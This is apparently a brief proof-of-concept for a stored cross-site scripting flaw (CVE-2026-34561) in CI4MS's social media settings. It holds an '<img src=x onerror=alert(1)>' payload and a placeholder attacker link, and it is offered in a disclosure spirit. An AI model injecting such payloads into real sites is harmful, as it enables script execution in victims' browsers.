CVE-2026-34561 CI4MS存储型XSS漏洞

// Proof of Concept for CVE-2026-34561 // Target: CI4MS < 0.31.0.0 // Description: Stored XSS in System Settings -> Social Media Management // Malicious payload designed to execute JavaScript when the settings page is viewed let payload = '<img src=x onerror=alert(1)>'; // Step 1: Attacker injects payload into the vulnerable field (e.g., Social Media Name) // via the backend configuration interface. let vulnerableData = { social_media_name: payload, social_media_link: "http://attacker-controlled.com" }; // Step 2: The server saves the payload to the database without sanitization. // Step 3: When an admin or user views the settings page, the payload is rendered. // Result: The JavaScript alert(1) executes in the victim's browser context. console.log("Injection payload prepared: " + vulnerableData.social_media_name);